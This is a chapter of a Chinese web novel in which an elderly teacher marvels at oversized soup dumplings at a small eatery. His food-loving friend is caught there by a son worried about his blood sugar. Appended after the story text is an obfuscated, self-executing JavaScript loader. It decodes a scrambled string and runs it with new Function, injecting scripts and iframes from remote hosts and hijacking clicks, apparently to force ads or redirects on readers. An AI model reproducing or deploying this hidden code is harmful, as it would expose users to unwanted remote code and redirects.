第20章 灌汤包(1 / 2)

沈云起还是第一次见到这么大的灌汤包,灌汤包比平常买的肉包子还大,更不要说和小笼包比较了。他觉得自己以前吃的小笼包和这个相比简直是小巫见大巫。

灌汤包的皮薄到透明,好像吹口气皮就会破掉一样,表面的褶子繁复,让整个灌汤包像一朵正绽放的菊花。灌汤包简直像一个艺术品,让人舍不得下嘴。稍一动弹,就能看到灌汤包里的汤汁在轻轻晃动。

沈云起有些舍不得吃,也不会吃灌汤包,觉得有些无从下手。

还没有离开的白一诺见沈云起这么苦手,于是提醒:“先开窗,后喝汤。”

“你小心地将灌汤包夹起来,然后咬一个小洞,把包子里面的汁倒到勺子里喝掉,或者是直接吸完就行。”

沈云起按照白一诺所说的做,小心夹起灌汤包之后在灌汤包上咬了一个小洞。灌汤包之中鲜美的汤汁顺着小洞,尽数涌进嘴里,味道让他感到十分震惊。

灌汤包的馅料是用上好的猪蹄膀的猪皮熬制,再混合鲜美的鸡汤,又加上了时令的蔬菜切成的丁。上锅蒸制之后,固态的馅料经过加热成了汤汁,热腾腾的。

沈云起喝了一口汤汁,不禁睁大眼睛,整个人都精神起来:“好吃!”

汤汁肉鲜味美,清香利口,一口下去鲜美得不得了,让人唇齿留香,十分满足。这个巨大的灌汤包十分实在,里面的汤汁如它的外形那样非常多,让人喝的非常爽快。

沈云起不得不感叹发明灌汤包的人的奇思妙想,薄薄的一层皮之中却包裹着如此鲜美浓稠的汤汁,真是妙哉。

等到喝完汤汁之后就可以吃灌汤包的皮了。灌汤包的皮是用上好的精白面粉制成的,薄如纸,软硬恰到好处,浸透了汤汁,越嚼越香。

“制作绝,吃法奇。”沈云起赞叹道。他不像苏大爷那样喜欢到处寻觅美食,因为他的口腹之欲不重,虽然不缺钱但是平日里十分节省。

他吃东西就像他的人一样喜欢讲究实在,因为年轻的时候有过食不饱腹的苦日子,所以他觉得食物的饱腹感最为重要,从不喜欢那些花里胡哨的食物,也不会去买贵价食物,觉得平日里粗茶淡饭就足矣。

之前从苏大爷那里得到的绿豆糕是第一个例外,那是他第一次吃到外型和味道都那么精妙的食物,原本口腹之欲不重的他都被惊艳到了。

这是他第一次好奇心如此旺盛,追根溯源,寻找做菜的饭店。

现在,灌汤包成了第二个例外。

这让沈云起知道,原来他的口腹之欲也是可以这么重的。他现在甚至还想再要一个灌汤包,再次享受之前的美味。

苏大爷在旁边馋得不行,走到白一诺旁边哀求:“老板,我可是老顾客了,店里烧了肉菜不能不卖我一份啊,我付钱的!”

“好的,稍等。”

虽然成功得到了灌汤包,但是苏大爷有些不满意,因为白一诺对待沈云起的时候,是主动提供小笼包的。然而到他这里,他却是求着老板才能尝到。

真可恶,真不应该让这个沈老头知道这家店在哪里的!

等到小笼包上来的时候,苏大爷立刻被震惊了。

毕竟看着别人吃和自己面前摆着一个,效果是完全不一样的,因为距离的近,他能直面灌汤包带来的冲击。

真大呀!

灌汤包铺满整个小笼屉,和一个碗口差不多大了,整体像一块晶莹的白玉,让人不舍得破坏。

让人不禁赞叹做出它的人的绝妙的手艺!

苏大爷为了表示自己不输给沈云起,故意忽略这份灌汤包是自己主动去央求白一诺才得到的。他一副得意洋洋的样子:“你看我也能吃得到,毕竟我可是老客人了,我还是很受欢迎的。”

令苏大爷没有意识到的是,此刻的他落入别人眼里,就像一个争风吃醋的妃嫔。白记饭馆就是那个皇帝,他正在暗地里和沈云起较着劲,为了刷高白记饭店的好感度,吃到更多的好东西,反复强调自己是白记饭馆的老人了,不想输给沈云起这个后来的新人。

苏大爷得意了一会,但是沈云起正在吃灌汤包,一点也不理他,苏大爷没一会儿就泄了气。

等他终于从这种争风吃醋的状态中回过神来,才意识到了解决面前的灌汤包才是正事,于是拿起筷子向着灌汤包落了过去。

但是就在这时,他的耳边传来了熟悉的声音。

“爸,你怎么在这儿啊?!”

苏大爷听到这个耳熟的声音,立刻愣了一下,筷子停在了半空中。等到他反应过来之后,不禁感觉一股凉意从脚底板往上升,让他整个人都快冻僵了。

糟了!

他僵硬了好一会儿才慢慢转过头去,露出尴尬而不失礼貌的微笑:“你不是出差去了吗?”

站在苏大爷背后的是一个西装革履的青年人,看上去三十多岁的样子,头发梳得整整齐齐,看起来很有气场。

苏杰皱了皱眉,十分不满地说:“家里的保姆告诉我你最近的行迹可疑,所以我今天特意和你前后脚出家门,想知道你到底在干什么,没想到你真的跑出来偷吃。爸,我和小文是为你好,医生告诉我们你的血糖已经很高了,需要控制饮食。你怎么一点都不知道事情的重要性呢?”

苏大爷在苏杰年轻上学的时候天天都说“我是为你好”,谁知道天道有轮回苍天饶过谁,几十年后被念叨的人变成了他,而发号施令的则是自己的儿子。

苏大爷面露尴尬咳嗽了两声,为了不让苏杰发火,立刻转移话题:“苏……苏杰啊,我朋友在这儿呢,给我留点面子。”

苏杰经过苏大爷提醒,这才看到了苏大爷旁边的沈云起。他愣了愣,立刻收敛起来不满的表情,恭敬地说:“你好,沈老师,好久不见。”

沈云起朝他点了点头。

苏杰高兴地说:“没想到在这里也能看见老师。原来爸爸和我的老师一起出来吃饭了。”

一旁的苏大爷疯狂地朝着沈云起眨眼睛,发射信号。

沈云起瞥了苏大爷,不禁叹了一口气,然后对苏杰说:“苏杰啊,我觉得不同人适合不同的方法,孔子还讲究因材施教呢。像你的爸爸这样顽固的人,如果施以猛药,天天让他吃素食,会导致他的逆反心理呀。偶尔让他开开荤,也不失为一件好事。”

要是别人说,苏杰也许不会听。但是沈云起是苏杰曾经的老师,他十分敬重他,于是此刻也在思考自己的做法是不是太一刀切,过于极端了,导致自己的父亲就和小偷一样鬼鬼祟祟地跑出来偷吃。

他是一路远远地跟着父亲过来的,父亲一边往前走一边还回头看,远远看着像一只贼眉鼠眼的老鼠一样。

苏杰不是不通情理的人,想了一会儿,点了点头:“老师,你说的是有道理。我的做法的确有些极端,但是爸爸即使偷吃也不应该在这种苍蝇小馆吃东西。这种店卫生没有保证,万一吃出来什么胃病,难受的不仅是他自己,也是我们这些子女。”

刚刚吃过灌汤包的沈云起听到苏杰这话,可就不高兴了。

沈云起:“你怎么话里话外一副看不起这个小饭店的样子,你好好看看,这家店里的卫生情况根本挑不出毛病来。”

苏杰抬头扫视店里的环境,不禁愣了一下,刚刚他一路跟着父亲进来,还没有仔细观察店里长什么样。但是他是从海市二中毕业的,黑街十几年前就已经存在了。先入为主,黑街给他的印象从学生时代就一直是不干净不卫生的代名词。

然而经过观察,店里的确很干净,明明店里有这么多人,但是地上不见一点脏污。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();